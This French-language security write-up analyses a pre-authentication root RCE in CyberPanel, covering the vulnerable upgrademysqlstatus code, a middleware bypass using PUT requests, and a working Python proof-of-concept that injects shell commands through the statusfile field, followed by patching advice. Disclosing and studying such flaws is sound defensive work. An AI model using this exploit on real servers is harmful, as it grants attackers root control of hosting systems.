Vulnérabilité RCE root pré-authentification dans CyberPanel : analyse approfondie de l'exploit
Une analyse technique d'une vulnérabilité dans CyberPanel, une RCE root pré-authentification, incluant les chemins d'exploitation confirmés, les composants étudiés et les résultats de la méthodologie de recherche.
Introduction
Cet article propose une analyse approfondie de la découverte et de l'exploitation d'une vulnérabilité d'exécution de code à distance (RCE) dans CyberPanel, une application web basée sur Django utilisée pour gérer des services d'hébergement web tels que FTP, SSH et SMTP. Cette faille critique permet à des attaquants non authentifiés d'exécuter des commandes arbitraires en tant qu'utilisateur root, ce qui soulève des préoccupations de sécurité majeures, en particulier compte tenu de l'usage répandu de CyberPanel sur les serveurs VPS.
Nos recherches ont révélé que de nombreuses machines sont déjà compromises, comme le montre l'image ci-dessous présentant un ransomware sur des systèmes affectés.

Enfin, cet article s'inspire des recherches menées par DreyAnd, qui mettent en lumière les détails techniques et les mécanismes de contournement associés à cette vulnérabilité.
Mise à jour du 30 octobre 2024
Deux CVE ont été attribuées, accompagnées d'une annonce de sécurité des mainteneurs de CyberPanel. Un commit de correctif est disponible ici.
-
CVE-2024-51567 :
- Affecte
upgrademysqlstatus()dansdatabases/views.py. - Exploitée dans la nature par PSAUX en octobre 2024.
- Le problème provient du contournement de
secMiddleware(actif uniquement pour les requêtes POST) et de l'injection de métacaractères shell dans la propriétéstatusfilepour obtenir une exécution de commandes non authentifiée. - Affecte les versions jusqu'à 2.3.6 et la version 2.3.7 non corrigée.
- Affecte
-
CVE-2024-51568 :
- Une vulnérabilité d'injection de commandes via le paramètre
completePathdans le sinkProcessUtilities.outputExecutioner(). - Conduit à une RCE non authentifiée via
/filemanager/upload. - Exploitée via des métacaractères shell fournis à la route d'upload du gestionnaire de fichiers.
- Les versions antérieures à 2.3.5 sont affectées.
- Une vulnérabilité d'injection de commandes via le paramètre
Aperçu de la vulnérabilité
- Composant vulnérable : route
upgrademysqlstatusdans CyberPanelv2.3.6. - Impact : RCE non authentifiée avec privilèges root.
- Type d'exploit : exécution de code à distance 0-click, pré-authentification.
- Cause racine : vérifications d'authentification insuffisantes et usage non sécurisé des commandes subprocess.
Analyse du code
La route upgrademysqlstatus() dans la version vulnérable de CyberPanel fournit des informations essentielles sur la manière dont la surface d'attaque a été identifiée. Analysons cette route pour comprendre la faille sous-jacente.
Fonction vulnérable : upgrademysqlstatus()
def upgrademysqlstatus(request):
try:
data = json.loads(request.body)
statusfile = data['statusfile']
# Unsafe execution using user input
installStatus = ProcessUtilities.outputExecutioner(f"sudo cat {statusfile}")
if "[200]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 1}
return HttpResponse(json.dumps(response))
elif "[404]" in installStatus:
ProcessUtilities.executioner(f"sudo rm -f {statusfile}")
response = {'error_message': "None", 'requestStatus': installStatus, 'abort': 1, 'installed': 0}
return HttpResponse(json.dumps(response))
else:
response = {'abort': 0, 'error_message': "None", 'requestStatus': installStatus}
return HttpResponse(json.dumps(response))
except KeyError:
return redirect(loadLoginPage)
Problèmes de la fonction upgrademysqlstatus :
-
Absence de vérifications d'authentification :
- La route
upgrademysqlstatusest accessible sans aucune authentification. Normalement, les routes sensibles devraient vérifier l'identité de l'utilisateur via des jetons de session ou des vérifications de middleware.
- La route
-
Injection de commandes :
- L'entrée contrôlée par l'utilisateur (
statusfile) est directement concaténée dans une commande subprocess (sudo cat {statusfile}). - La fonction exécute des commandes shell arbitraires avec des privilèges
sudo, conduisant à une injection de commandes.
- L'entrée contrôlée par l'utilisateur (
-
Contournement du middleware :
- L'application utilise
secMiddlewarepour assainir les requêtes POST. Cependant, ce middleware ne vérifie l'injection de commandes que lorsque la méthode de requête est POST. - Cela permet aux attaquants de contourner le middleware en utilisant des méthodes autres que POST (par exemple PUT ou OPTIONS) tout en fournissant des payloads malveillants via
request.body.
- L'application utilise
class secMiddleware:
HIGH = 0
LOW = 1
def get_client_ip(request):
ip = request.META.get('HTTP_CF_CONNECTING_IP')
if ip is None:
ip = request.META.get('REMOTE_ADDR')
return ip
def __init__(self, get_response):
self.get_response = get_response
...
if request.method == 'POST':
# Security checks are applied only here...
try:
data = json.loads(request.body)
# ...but ignored for non-POST requests.
...
Exploitation et preuve de concept
Cette section montre comment exploiter la vulnérabilité en contournant le middleware et en injectant des commandes arbitraires.
Code de l'exploit
Le PoC ci-dessous montre comment exploiter la vulnérabilité en envoyant une requête PUT pour contourner le middleware et injecter une commande.
import httpx
import sys
def get_CSRF_token(client):
"""Retrieve the CSRF token required for requests."""
resp = client.get("/")
return resp.cookies['csrftoken']
def pwn(client, CSRF_token, cmd):
"""Send the malicious command to the vulnerable route."""
headers = {
"X-CSRFToken": CSRF_token,
"Content-Type": "application/json",
"Referer": str(client.base_url),
}
# Command injection via statusfile parameter
payload = '{"statusfile": "/dev/null; %s; #", "csrftoken": "%s"}' % (cmd, CSRF_token)
# Bypass middleware by using PUT instead of POST
response = client.put("/dataBases/upgrademysqlstatus", headers=headers, data=payload)
return response.json().get("requestStatus")
def exploit(target, cmd):
"""Main exploit logic."""
client = httpx.Client(base_url=target, verify=False)
CSRF_token = get_CSRF_token(client)
stdout = pwn(client, CSRF_token, cmd)
print(stdout)
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1]
while True:
cmd = input("$> ")
exploit(target, cmd)
Utilisation
Exécuter l'exploit :
python exploit.py https://<target-ip>:8090
Injecter des commandes arbitraires :
$> id
uid=0(root) gid=0(root) groups=0(root)
Atténuation et recommandations
Pour éviter des vulnérabilités similaires à l'avenir, les mesures suivantes sont recommandées :
-
Middleware d'authentification centralisé :
- Mettre en œuvre les vérifications d'authentification de manière globale plutôt qu'au niveau de chaque route individuelle.
-
Validation des entrées pour toutes les méthodes :
- Appliquer la validation des entrées de manière cohérente sur toutes les méthodes HTTP.
-
Éviter l'exécution directe de commandes :
- Utiliser des bibliothèques comme
subprocess.run()de Python avec une désinfection appropriée des entrées utilisateur.
- Utiliser des bibliothèques comme
-
Principe du moindre privilège :
- Éviter d'exécuter des services avec des privilèges root, sauf si cela est absolument nécessaire.
-
Si vous avez un accès SSH :
- Mettez à jour votre CyberPanel en suivant le guide de mise à jour. Aucune autre action n'est requise.
-
Si vous n'avez pas d'accès SSH :
- Dans certains cas, l'accès au port 22 peut être restreint par votre fournisseur, souvent en raison de surcharges de serveur ou de tentatives de piratage.
- Dans ce cas, contactez votre fournisseur et demandez-lui d'activer le port 22. Une fois l'accès rétabli, mettez à jour le panneau en suivant les instructions fournies.
Conclusion
Cette RCE pré-authentification dans CyberPanel souligne l'importance d'une authentification complète, d'une validation des entrées cohérente et d'une gestion sécurisée des commandes subprocess. Les attaquants peuvent facilement exploiter des failles logiques subtiles, contourner les middlewares et escalader les privilèges jusqu'à root, démontrant l'impact dévastateur de pratiques de sécurité négligées. Tant que le correctif n'est pas pleinement intégré dans une version stable, les utilisateurs doivent appliquer immédiatement le correctif et restreindre l'accès aux points de terminaison vulnérables.
Tags :
RCE